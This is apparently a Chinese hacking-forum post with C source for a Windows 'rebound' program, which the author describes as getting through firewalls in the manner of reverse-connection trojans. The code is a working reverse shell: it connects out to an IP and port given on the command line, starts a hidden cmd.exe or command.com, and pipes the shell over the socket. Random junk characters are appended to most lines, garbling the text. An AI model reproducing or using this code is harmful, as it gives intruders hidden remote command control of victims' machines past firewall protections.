这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I^Z8PEc+
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/* ============================== c<#<k}y
Rebound port in Windows NT \M]-bw`
By wind,2006/7 &6Il(3-^
===============================*/ ~Ki`Ze"x
#include _7a'r</@
#include Q:6VYONN
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#pragma comment(lib,"wsock32.lib") tZ2e!<C
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void OutputShell(); YDmWN#
SOCKET sClient; @
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; amQz^^
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void main(int argc,char **argv) =l<iI*J.
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{ ^6p'YYj"5
WSADATA stWsaData; ~2u\
int nRet; mDFlz1J,e
SOCKADDR_IN stSaiClient,stSaiServer; Ri>?KrQF%
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if(argc != 3) +rWZ|&r%
{ t5
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printf("Useage:\n\rRebound DestIP DestPort\n"); @tRMe64
return; ~YCuO0t
} fRTo.u
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6aOp[-Le
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dV 8iwI
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stSaiClient.sin_family = AF_INET; rsa&Oo
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stSaiClient.sin_port = htons(0); HI&kP+,y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R|!B,b(
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ix Z)tNz
{ u}6v?!
printf("Bind Socket Failed!\n"); [FQ\I-GNC
return; !NKmx=I]
} oN(-rWdhZ
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stSaiServer.sin_family = AF_INET; ;K:8#XuV
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !PUp>(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ELa ja87
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =FW5Tkw0
{ ;mAhY
printf("Connect Error!"); }1+%_|Y-E
return; DlE_W+F
} #p
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OutputShell(); K'6[J"dB
} ,ZI\dtl
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void OutputShell() u@FsLHn
{ ?)3jqQ.
char szBuff[1024]; N~,_`=yRx
SECURITY_ATTRIBUTES stSecurityAttributes; >Cd9fJ&0gP
OSVERSIONINFO stOsversionInfo; $M"0BZQ?y!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O2-M1sd$
STARTUPINFO stStartupInfo; L&Qi@D0P
char *szShell; 6!EYrX}rI[
PROCESS_INFORMATION stProcessInformation; <8(?7QI
unsigned long lBytesRead; 9-jO,l
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w\|Ei(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p*;Qz
stSecurityAttributes.lpSecurityDescriptor = 0; 2Eh@e([PMs
stSecurityAttributes.bInheritHandle = TRUE; SlT*C6f
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k ~6-cx
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?)tK!'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VTe.M[:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :X .,
stStartupInfo.wShowWindow = SW_HIDE; [^PCm Z6n
stStartupInfo.hStdInput = hReadPipe; ?p8k{N(1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r!/0 j)
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GetVersionEx(&stOsversionInfo); dU;upS_-
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switch(stOsversionInfo.dwPlatformId) w4MwD?i]R
{ @eQld\h'
case 1: ekzjF\!y
szShell = "command.com";
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break; }_4 6y*o8
default: I
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szShell = "cmd.exe"; &y:CW>T$/X
break; <Dw]yGK@
} dhR(_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .L;",E
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send(sClient,szMsg,77,0); ~y\:iL//E
while(1) +*EKR
{ U|fTb0fB
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); , Fytk34
if(lBytesRead)
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{ g_D-(J`IK,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $@87?Ab
send(sClient,szBuff,lBytesRead,0); UxPGv;F
} -ID!pT vW
else
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{ }]h\/,
lBytesRead=recv(sClient,szBuff,1024,0); *PB/iVH%6
if(lBytesRead<=0) break; m<fA|9 F#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yU`:IMz
} \C\gn]Z
} 0o68rF5^s
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return; Lbq_~
}